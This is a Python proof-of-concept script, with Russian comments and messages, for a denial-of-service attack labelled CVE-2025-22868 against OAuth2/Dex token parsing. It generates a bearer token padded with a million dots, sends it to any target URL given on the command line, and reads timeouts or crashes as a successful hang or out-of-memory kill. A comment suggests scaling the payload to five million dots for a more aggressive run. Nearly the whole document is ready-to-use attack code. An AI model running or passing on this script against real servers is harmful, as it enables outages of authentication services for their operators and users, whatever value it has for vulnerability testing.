import requests
import sys
import time
def generate_malformed_token(num_dots):
"""
Генерирует фейковый токен с аномальным количеством точек.
Начинается с валидного-looking base64 заголовка, затем идут точки.
"""
# "eyJhbGciOiJIUzI1NiJ9" - это base64 для {"alg":"HS256"}
header_part = "eyJhbGciOiJIUzI1NiJ9"
# Добавляем миллион точек
dots = "." * num_dots
# Завершаем фейковым пейлоадом
payload_part = "fake_payload_data"
return f"{header_part}{dots}{payload_part}"
def test_oauth2_dos(target_url, num_dots=1000000):
print(f"[*] Инициализация теста CVE-2025-22868...")
print(f"[*] Генерация payload с {num_dots} точками...")
malicious_token = generate_malformed_token(num_dots)
print(f"[*] Размер payload: {len(malicious_token) / (1024*1024):.2f} MB")
headers = {
"Authorization": f"Bearer {malicious_token}",
"User-Agent": "CVE-2025-22868-PoC/1.0",
"Accept": "application/json"
}
print(f"[*] Отправка запроса на: {target_url}")
print("[*] Ожидайте ответа (таймаут установлен на 15 секунд)...")
start_time = time.time()
try:
# Используем относительно короткий таймаут, так как сервер может зависнуть
response = requests.get(target_url, headers=headers, timeout=15)
elapsed_time = time.time() - start_time
print(f"[\u2713] Запрос завершен за {elapsed_time:.2f} сек.")
print(f"[\u2713] Код ответа сервера: {response.status_code}")
if response.status_code == 500 or response.status_code == 502 or response.status_code == 504:
print("[!] ВНИМАНИЕ: Сервер вернул ошибку, возможно, обработчик упал при парсинге.")
except requests.exceptions.Timeout:
print("[!] ЗАПРОС ПРЕВЫСИЛ ТАЙМАУТ.")
print("[!] Это сильный индикатор того, что сервер завис, пытаясь выделить память для парсинга (DoS).")
except requests.exceptions.ConnectionError:
print("[!] ОШИБКА СОЕДИНЕНИЯ.")
print("[!] Сервер мог быть принудительно завершен (OOMKilled) или сбросил соединение.")
except Exception as e:
print(f"[!] Произошла непредвиденная ошибка: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Использование: python3 poc_cve_2025_22868.py <target_url>")
print("Пример: python3 poc_cve_2025_22868.py https://dex.your-cluster.local/callback")
sys.exit(1)
target = sys.argv[1]
# Начинаем с 1 000 000 точек. Для более агрессивного теста можно увеличить до 5 000 000
test_oauth2_dos(target, num_dots=1000000)